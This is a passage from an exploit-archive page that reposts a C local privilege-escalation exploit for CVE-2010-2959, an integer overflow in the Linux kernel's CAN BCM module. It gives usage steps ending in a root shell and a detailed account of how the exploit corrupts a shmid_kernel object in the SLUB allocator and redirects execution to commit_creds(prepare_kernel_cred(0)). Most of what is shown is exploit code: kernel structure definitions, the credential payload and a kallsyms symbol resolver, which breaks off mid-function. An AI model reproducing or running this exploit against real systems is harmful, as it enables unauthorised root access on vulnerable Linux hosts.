Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Ex
Posted on 27 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================== Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit ============================================================== /* * i-CAN-haz-MODHARDEN.c * * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959 * * Ben Hawkes discovered an integer overflow in the Controller Area Network * (CAN) subsystem when setting up frame content and filtering certain * messages. An attacker could send specially crafted CAN traffic to crash * the system or gain root privileges. * * Usage: * * $ gcc i-can-haz-modharden.c -o i-can-haz-modharden * $ ./i-can-haz-modharden * ... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * The allocation pattern of the CAN BCM module gives us some desirable * properties for smashing the SLUB. We control the kmalloc with a 16-byte * granularity allowing us to place our allocation in the SLUB cache of our * choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for * old-times sake). The allocation can also be made in its own discrete * stage before the overwrite which allows us to be a bit more conservative * in ensuring the proper layout of our SLUB cache. * * To exploit the vulnerability, we first create a BCM RX op with a crafted * nframes to trigger the integer overflow during the kmalloc. On the second * call to update the existing RX op, we bypass the E2BIG check since the * stored nframes in the op is large, yet has an insufficiently sized * allocation associated with it. We then have a controlled write into the * adjacent shmid_kernel object in the 96-byte SLUB cache. * * However, while we control the length of the SLUB overwrite via a * memcpy_fromiovec operation, there exists a memset operation that directly * follows which zeros out last_frames, likely an adjacent allocation, with * the same malformed length, effectively nullifying our shmid smash. To * work around this, we take advantage of the fact that copy_from_user can * perform partial writes on x86 and trigger an EFAULT by setting up a * truncated memory mapping as the source for the memcpy_fromiovec operation, * allowing us to smash the necessary amount of memory and then pop out and * return early before the memset operation occurs. * * We then perform a dry-run and detect the shmid smash via an EIDRM errno * from shmat() caused by an invalid ipc_perm sequence number. Once we're * sure we have a shmid_kernel under our control we re-smash it with the * malformed version and redirect control flow to our credential modifying * calls mapped in user space. * * Distros: please use grsecurity's MODHARDEN or SELinux's module_request * to restrict unprivileged loading of uncommon packet families. Allowing * the loading of poorly-written PF modules just adds a non-trivial and * unnecessary attack surface to the kernel. * * Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports * easily to other vulnerable kernels/distros. Careful, it could use some * post-exploitation stability love as well. * * Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that * this exploit borrows code from. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/mman.h> #include <sys/stat.h> #define SLUB "kmalloc-96" #define ALLOCATION 96 #define FILLER 100 #ifndef PF_CAN #define PF_CAN 29 #endif #ifndef CAN_BCM #define CAN_BCM 2 #endif struct sockaddr_can { sa_family_t can_family; int can_ifindex; union { struct { uint32_t rx_id, tx_id; } tp; } can_addr; }; struct can_frame { uint32_t can_id; uint8_t can_dlc; uint8_t data[8] __attribute__((aligned(8))); }; struct bcm_msg_head { uint32_t opcode; uint32_t flags; uint32_t count; struct timeval ival1, ival2; uint32_t can_id; uint32_t nframes; struct can_frame frames[0]; }; #define RX_SETUP 5 #define RX_DELETE 6 #define CFSIZ sizeof(struct can_frame) #define MHSIZ sizeof(struct bcm_msg_head) #define IPCMNI 32768 #define EIDRM 43 #define HDRLEN_KMALLOC 8 struct list_head { struct list_head *next; struct list_head *prev; }; struct super_block { struct list_head s_list; unsigned int s_dev; unsigned long s_blocksize; unsigned char s_blocksize_bits; unsigned char s_dirt; uint64_t s_maxbytes; void *s_type; void *s_op; void *dq_op; void *s_qcop; void *s_export_op; unsigned long s_flags; } super_block; struct mutex { unsigned int count; unsigned int wait_lock; struct list_head wait_list; void *owner; }; struct inode { struct list_head i_hash; struct list_head i_list; struct list_head i_sb_list; struct list_head i_dentry_list; unsigned long i_ino; unsigned int i_count; unsigned int i_nlink; unsigned int i_uid; unsigned int i_gid; unsigned int i_rdev; uint64_t i_version; uint64_t i_size; unsigned int i_size_seqcount; long i_atime_tv_sec; long i_atime_tv_nsec; long i_mtime_tv_sec; long i_mtime_tv_nsec; long i_ctime_tv_sec; long i_ctime_tv_nsec; uint64_t i_blocks; unsigned int i_blkbits; unsigned short i_bytes; unsigned short i_mode; unsigned int i_lock; struct mutex i_mutex; unsigned int i_alloc_sem_activity; unsigned int i_alloc_sem_wait_lock; struct list_head i_alloc_sem_wait_list; void *i_op; void *i_fop; struct super_block *i_sb; void *i_flock; void *i_mapping; char i_data[84]; void *i_dquot_1; void *i_dquot_2; struct list_head i_devices; void *i_pipe_union; unsigned int i_generation; unsigned int i_fsnotify_mask; void *i_fsnotify_mark_entries; struct list_head inotify_watches; struct mutex inotify_mutex; } inode; struct dentry { unsigned int d_count; unsigned int d_flags; unsigned int d_lock; int d_mounted; void *d_inode; struct list_head d_hash; void *d_parent; } dentry; struct file_operations { void *owner; void *llseek; void *read; void *write; void *aio_read; void *aio_write; void *readdir; void *poll; void *ioctl; void *unlocked_ioctl; void *compat_ioctl; void *mmap; void *open; void *flush; void *release; void *fsync; void *aio_fsync; void *fasync; void *lock; void *sendpage; void *get_unmapped_area; void *check_flags; void *flock; void *splice_write; void *splice_read; void *setlease; } op; struct vfsmount { struct list_head mnt_hash; void *mnt_parent; void *mnt_mountpoint; void *mnt_root; void *mnt_sb; struct list_head mnt_mounts; struct list_head mnt_child; int mnt_flags; const char *mnt_devname; struct list_head mnt_list; struct list_head mnt_expire; struct list_head mnt_share; struct list_head mnt_slave_list; struct list_head mnt_slave; struct vfsmount *mnt_master; struct mnt_namespace *mnt_ns; int mnt_id; int mnt_group_id; int mnt_count; } vfsmount; struct file { struct list_head fu_list; struct vfsmount *f_vfsmnt; struct dentry *f_dentry; void *f_op; unsigned int f_lock; unsigned long f_count; } file; struct kern_ipc_perm { unsigned int lock; int deleted; int id; unsigned int key; unsigned int uid; unsigned int gid; unsigned int cuid; unsigned int cgid; unsigned int mode; unsigned int seq; void *security; }; struct shmid_kernel { struct kern_ipc_perm shm_perm; struct file *shm_file; unsigned long shm_nattch; unsigned long shm_segsz; time_t shm_atim; time_t shm_dtim; time_t shm_ctim; unsigned int shm_cprid; unsigned int shm_lprid; void *mlock_user; } shmid_kernel; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int __attribute__((regparm(3))) kernel_code(struct file *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s ", (void **) &addr, &dummy, sname); } else { ret = fscanf(f, "%p %s ", (void **) &addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '